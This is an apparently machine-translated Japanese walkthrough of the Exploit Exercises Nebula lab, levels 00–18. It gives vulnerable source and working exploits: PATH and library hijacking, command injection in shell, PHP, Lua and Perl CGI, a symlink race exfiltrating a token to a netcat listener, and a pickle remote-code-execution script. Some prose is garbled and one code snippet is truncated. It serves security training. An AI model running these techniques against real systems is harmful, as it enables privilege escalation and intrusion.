エクスプロイトエクササイズまたはVulnHubのファン向けの別のサイト





みなさん、こんにちは。私の文章を読んでくれてありがとう。 今日は、VulnHubに似た別のサイトについて説明します。 これはエクスプロイトエクササイズです。 少数の仮想マシンと比較的古い出版物にもかかわらず、そこで何か新しいことを学ぶことができます。 さらに、これはレベルの種類と数によって相殺されます。



Nebulaと呼ばれる仮想マシンから開始することが提案されています。 今日はそれを分解します。



以下のトピックについて、合計20レベルがあります。





レベルごとに個別のユーザーlevelXXが作成され、代わりにgetflagコマンドを実行するために特権を取得する必要があるflagXXユーザー作成れました。 さあ始めましょう!



レベル00



findを使用してflagIDユーザープログラムSUIDを見つけて実行するように求められます。



私たちは探しています:



level00@nebula:~$ find / -user flag00 2>/dev/null /bin/.../flag00
      
      





以下を開始します。



 level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





Level01



脆弱なアプリケーションのソースを指定すると、 getflagを実行する必要があります



level1.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
      
      







これは、 envを信頼すると発生します:)



 level01@nebula:~$ cd /tmp/ level01@nebula:/tmp$ ln -s /bin/getflag echo level01@nebula:/tmp$ PATH=/tmp:$PATH level01@nebula:/tmp$ env echo getflag is executing on a non-flag account, this doesn't count level01@nebula:/tmp$ /home/flag01/flag01 You have successfully executed getflag on a target account
      
      





Level02



環境変数を信頼する脆弱なプログラムの別の例:



level2.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
      
      







$ USERを変更するだけです:



 level02@nebula:~$ USER="12|getflag" level02@nebula:~$ /home/flag02/flag02 about to call system("/bin/echo 12|getflag is cool") You have successfully executed getflag on a target account
      
      





Level03



ここにはソースはありませんが、 crontab 、およびディレクトリに対する危険な権利があります。



writable.sh
 #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
      
      







 level03@nebula:/home/flag03$ ls -ahl drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/ -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh* level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh
      
      





しばらくして:



 level03@nebula:/home/flag03$ cat /tmp/flag You have successfully executed getflag on a target account
      
      





crontab -u flag03 -l
 */3 * * * * /home/flag03/writable.sh
      
      







Level04



そして、このプログラムを使用して、 トークンファイルの内容を読み取るように求められます。



level4.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
      
      







 level04@nebula:~$ ll /home/flag04 -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04* -rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
      
      





ファイルにはtokenがないため、 tokenは含まれません。



 level04@nebula:~$ /home/flag04/flag04 /home/flag04/flag04 [file to read] level04@nebula:~$ /home/flag04/flag04 token You may not access 'token' level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 06508b5e-8909-4f38-b630-fdb148a848a2
      
      





レベル05



このレベルでは、ディレクトリのアクセス許可が誤って設定されるのを待っています。



 level05@nebula:~$ ll /home/flag05/ drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/ -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/
      
      





バックアップは良いです、そこにあるものを見てみましょう:



 level05@nebula:~$ ll /home/flag05/.backup/ -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
      
      





優れたプライベートsshキー。 接続してgetflagを実行します



 level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1 flag05@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





レベル06



説明では、以前のバージョンのUnixの資格情報について説明しています。



 level06@nebula:~$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
      
      





Johnのハッシュをフィードします。これは、単語helloとして定義します。 ログインして「フラグ」を収集します。



 level06@nebula:~$ ssh flag06@127.0.0.1 flag06@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





レベル07



Flag07は彼の最初のPerlアプリケーションを作成しました。



index.cgi
 #!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
      
      







ここでは、 $ホスト変数にフィルタリングパラメーターがありません。 ハングしているポートを確認しましょう。



 level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port port=7007
      
      





そして、我々は正常に動作します:







レベル08



トラフィックダンプを確認してログインするように求められます。 自分でダウンロードしてください:



 level08@nebula:~$ ls -lh /home/flag08 -rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap $ scp level08@10.0.31.116:/home/flag08/capture.pcap ./
      
      





何があるか見てみましょう:







パスワードに印刷できない文字が含まれているのは奇妙です。このパスワードのHEXダンプを抽出し、変換すると、次の結果が得られます。



 62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."
      
      





Googleは、 xtermBackspaceとして0x7fバイトを使用することをすぐに提案しました。 したがって、パスワードはbackd00Rmateです。



接続してgetflagを実行します



 $ ssh 10.0.31.116 -l flag08 flag08@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





レベル09



脆弱なPHPスクリプトには、 CSUIDラッパーを使用できます。



level9.php
 <?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
      
      







文字列$ contents = preg_replace( "/(\ [email(。*)\])/ E"、 "spam(\" \\ 2 \ ")"、$ contents); 非常に興味深い:



  1. コンテンツが正規表現と一致する場合: "/(\ [email(。*)\])/" ;
  2. これは、括弧内の値を引数としてとるspam関数に置き換えられます。 そして、実行された


任意のコマンドを送信できます。



 level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag You have successfully executed getflag on a target account
      
      





レベル10



アクセス()に依存するプログラムは、ネットワーク経由でファイルを送信します。



basic.c
 #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
      
      







要求されたファイルへの最初のアクセスがチェックされ、それが送信された後、リンクを使用して、次の場合をキャッチする必要があるため、アイデアは単純です。



  1. リンクは、利用可能なファイルアクセスを指します。
  2. アクセス()はこのファイルをチェックします。
  3. リンクは、アクセスできないファイルに変更されます。
  4. プログラムはそれを正常に送信します


私たちはそれを実現します。 ループ内のリンクを変更します。



 level10@nebula:/tmp$ echo "token" > /tmp/token level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done
      
      





別のウィンドウで、リンクを介してファイルを送信するループを実行します。



 level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done
      
      





自宅で、 ncを実行してポートでリッスンし、受信したデータを出力します。



 while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done
      
      





そして、すぐにトークンを取得します。



トークン= 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27


パスワードとして使用して、ユーザーflag10としてログインします。



 level10@nebula:/tmp$ ssh flag10@localhost flag10@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





レベル11



STDINを読み取って実行するプログラムがあります



level11.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
      
      







しかし、それほど単純ではありません。 著者は2つの解決策があると書いていますが、後で判明したように、両方とも機能しません。 しかし、まず最初に:



まず、送信されたバイト数を示すように求められ、次にこの数に応じて、文字列がすぐにプロセス関数に転送されるか、データが以前にメモリにコピーされます。



関数プロセスXOR 'それら、そしてそれらをシステムに提供します 。 したがって、すでにXORで処理される文字列を送信する必要があります。



flag11.py
 #!/usr/bin/python cmd = "/bin/getflag\x00" length = 1024 key = length & 0xff enc = '' for i in range(len(cmd)): char_byte = ord(cmd[i]) ^ key enc += chr(char_byte & 0xff) key = (key - ord(cmd[i])) & 0xff if length != len(cmd): junk = "A" * (length - len(cmd)) print( "Content-Length: %d\n%s%s" %(length, enc, junk) ) else: print( "Content-Length: %d\n%s" %(length, enc) )
      
      







私たちは何も始めません。



 level11@nebula:~$ export TEMP=/tmp level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 getflag is executing on a non-flag account, this doesn't count
      
      





システム関数のドキュメントには、これがあります:



環境変数の値によってはシステムがクラッシュする可能性があるため、suidまたはsgid特権を持つプログラムでsystem()を使用しないでください。 代わりに、exec(3)ファミリーの関数を使用することをお勧めしますが、execlp(3)またはexecvp(3)は使用しないでください。 system()は、bash 2が起動時に権限をリセットするため、/ bin / shがbashバージョン2に置き換えられているシステムのsuidまたはsgid特権を持つプログラムでは正しく機能しません。 Debianは、shのように、このアクションの開始時に生成されない修正bashを使用します。


Bashはみんな失敗しました:



 level11@nebula:/home/flag11$ ll /bin/sh lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*
      
      





PS個別にコンパイルされたバイナリでこれを確認した後、同じ結果が得られます。 Googleは結果を出さず、明らかに著者はbashを更新したが、タスクを更新するのを忘れていた...



レベル12



説明に記載されているように、ポート50001のバックドア。 うーん、見てみましょう:



level12.lua
 local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
      
      







そして、再び、入力されたデータのフィルタリングの欠如。 コメントを追加します。



 level12@nebula:~$ nc 127.0.0.1 50001 Password: 4754a4f4bd5787accd33de887b9250a0691dd198 # Congrats, your token is 413**CARRIER LOST**
      
      





OK、うまくいきました。他のことを試してみましょう: 123; getflag> / tmp / flag12#



 level12@nebula:~$ nc 127.0.0.1 50001 Password: 123 ; getflag > /tmp/flag12 # Better luck next time level12@nebula:~$ cat /tmp/flag12 You have successfully executed getflag on a target account level12@nebula:~$
      
      





レベル13



ソースコードが与えられ、そして最も重要なことは、それは切り取られた、良くない:



level13_safe.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
      
      







行を抽出します。



 level13@nebula:~$ strings /home/flag13/flag13 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob your token is %s
      
      





gdbでアプリケーションを逆アセンブルすると、興味深い行が見つかります。



 0x080485a2 <+222>: xor $0x5a,%edx
      
      





行があります: 8mjomjh8wml; bwnh8jwbbnnwi;>; 88?O; 9ob 、キーがあります: 0x5a 、操作があります: xor 。 これをPythonで出荷します。



 >>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob']) >>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'
      
      





そして、承認に成功しました:



 level13@nebula:~$ su flag13 Password: b705702b-76a8-42b0-8844-3adabbe5ac58 sh-4.2$ id uid=986(flag13) gid=986(flag13) groups=986(flag13) sh-4.2$ getflag You have successfully executed getflag on a target account
      
      





レベル14



STDINに送られるすべてを暗号化してSTDOUTに送信するプログラムを考えると、復号化するように求められるトークンがあります。



 level14@nebula:~$ cat /home/flag14/token 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
      
      





IDAのアルゴリズムを見てみましょう。







まあ、それは単純で、 Pythonの 1行です



 >>> ''.join([chr(ord(a[i])-i) for i in range(len(a))]) >>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'
      
      





トークンがあり、最後のステップは残りました。



 level14@nebula:~$ su - flag14 Password: 8457c118-887c-4e40-a5a6-33a25353165 flag14@nebula:~$ getflag You have successfully executed getflag on a target account
      
      





レベル15



異常については、 straceコマンドの出力を確認するように求められます。



 level15@nebula:~$ strace /home/flag15/flag15
      
      





痕跡
execve( "/ home / flag15 / flag15"、["/ home / flag15 / flag15"]、[/ * 18 vars * /])= 0

brk(0)= 0x8d3a000

アクセス( "/ etc / ld.so.nohwcap"、F_OK)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

mmap2(NULL、8192、PROT_READ | PROT_WRITE、MAP_PRIVATE | MAP_ANONYMOUS、-1、0)= 0xb773b000

アクセス( "/ etc / ld.so.preload"、R_OK)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / i686 / sse2 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / i686 / sse2 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / i686 / sse2 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / i686 / sse2"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / i686 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / i686 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / i686 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / i686"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / sse2 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / sse2 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / sse2 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / sse2"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / tls / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / tls"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / i686 / sse2 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / i686 / sse2 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / i686 / sse2 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / i686 / sse2"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / i686 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / i686 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / i686 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / i686"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / sse2 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / sse2 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / sse2 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / sse2"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / cmov / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15 / cmov"、0xbf998584)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ var / tmp / flag15 / libc.so.6"、O_RDONLY)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

stat64( "/ var / tmp / flag15"、{st_mode = S_IFDIR | 0775、st_size = 3、...})= 0

open( "/ etc / ld.so.cache"、O_RDONLY)= 3

fstat64(3、{st_mode = S_IFREG | 0644、st_size = 33815、...})= 0

mmap2(NULL、33815、PROT_READ、MAP_PRIVATE、3、0)= 0xb7732000

閉じる(3)= 0

アクセス( "/ etc / ld.so.nohwcap"、F_OK)= -1 ENOENT(そのようなファイルまたはディレクトリはありません)

open( "/ lib / i386-linux-gnu / libc.so.6"、O_RDONLY)= 3

read(3、 "\ 177ELF \ 1 \ 1 \ 1 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 3 \ 0 \ 3 \ 0 \ 1 \ 0 \ 0 \ 0p \ 222 \ 1 \ 0004 \ 0 \ 0 \ 0 "...、512)= 512

fstat64(3、{st_mode = S_IFREG | 0755、st_size = 1544392、...})= 0

mmap2(NULL、1554968、PROT_READ | PROT_EXEC、MAP_PRIVATE | MAP_DENYWRITE、3、0)= 0x110000

mmap2(0x286000、12288、PROT_READ | PROT_WRITE、MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE、3、0x176)= 0x286000

mmap2(0x289000、10776、PROT_READ | PROT_WRITE、MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS、-1、0)= 0x289000

閉じる(3)= 0

mmap2(NULL、4096、PROT_READ | PROT_WRITE、MAP_PRIVATE | MAP_ANONYMOUS、-1、0)= 0xb7731000

set_thread_area({entry_number:-1-> 6、base_addr:0xb77318d0、limit:1048575、seg_32bit:1、contents:0、read_exec_only:0、limit_in_pages:1、seg_not_present:0、useable:1})= 0

mprotect(0x286000、8192、PROT_READ)= 0

mprotect(0x8049000、4096、PROT_READ)= 0

mprotect(0xae4000、4096、PROT_READ)= 0

munmap(0xb7732000、33815)= 0

fstat64(1、{st_mode = S_IFCHR | 0620、st_rdev = makedev(136、0)、...})= 0

mmap2(NULL、4096、PROT_READ | PROT_WRITE、MAP_PRIVATE | MAP_ANONYMOUS、-1、0)= 0xb773a000

書き込み(1、 "それを追跡!\ n"、11straceそれ!

)= 11

exit_group(11)



プログラムが/ var / tmp / flag15 /からロードしようとするのは奇妙です。 libc.so.6をその中に挿入してみましょう。



 #include <stdio.h> int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$ { execv("/bin/getflag", NULL); return 0; }
      
      





コンパイルして実行:



 level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 You have successfully executed getflag on a target account
      
      





レベル16



ポート1616でハングする別のPerl CGIアプリケーション:



index.pl
 #!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/az/AZ/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
      
      







ユーザー名$の内容は、最初に大文字になり、次に ``演算子を介して実行されます。



egrepを閉じるコマンドを挿入しようとしても失敗しました。 ただし、 この記事のメソッドを使用して大文字をバイパスすることができます。



 level16@nebula:/tmp$ cat FLAG #!/bin/bash getflag > /tmp/flag16log
      
      





ブラウザのリンクをたどります。



10.0.31.116:1616 / index.cgi?ユーザー名= `/ * / FLAG`


フラグを表示します。



 level16@nebula:/tmp$ cat flag16log You have successfully executed getflag on a target account
      
      







レベル17



説明で述べたように、このスクリプトはポート10007でリッスンし、脆弱性があります。 非常に冗長です。



level17.py
 #!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
      
      







しかし、脆弱性があります、それは行にあります: obj = pickle.loads(line) 。 ここでは、その操作について詳しく知ることができます。 コマンドを実行するためのスクリプトを作成します。



 #!/usr/bin/python import socket import pickle host = '10.0.31.116' port = 10007 cmd = '''cos system (S'getflag > /tmp/flag17' tR''' s = socket.socket() s.connect((host, port)) data = s.recv(1024) print(data) s.send(cmd) s.close()
      
      





開始後、 RCEを取得します。



 $ ./flag17.py Accepted connection from 10.0.31.183:50700
      
      





 level17@nebula:~$ cat /tmp/flag17 You have successfully executed getflag on a target account
      
      





レベル18



ソースを分析し、脆弱性を見つけるよう求められます。 それをやってみましょう:



level18.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
      
      







  1. void notsupported(char * what)-> dprintf(what); #そして、ここにフォーマット文字列の脆弱性があります。
  2. void login(char * pw)-> fp = fopen(PWFILE、 "r"); #ファイルは開きますが、誰も閉じません。


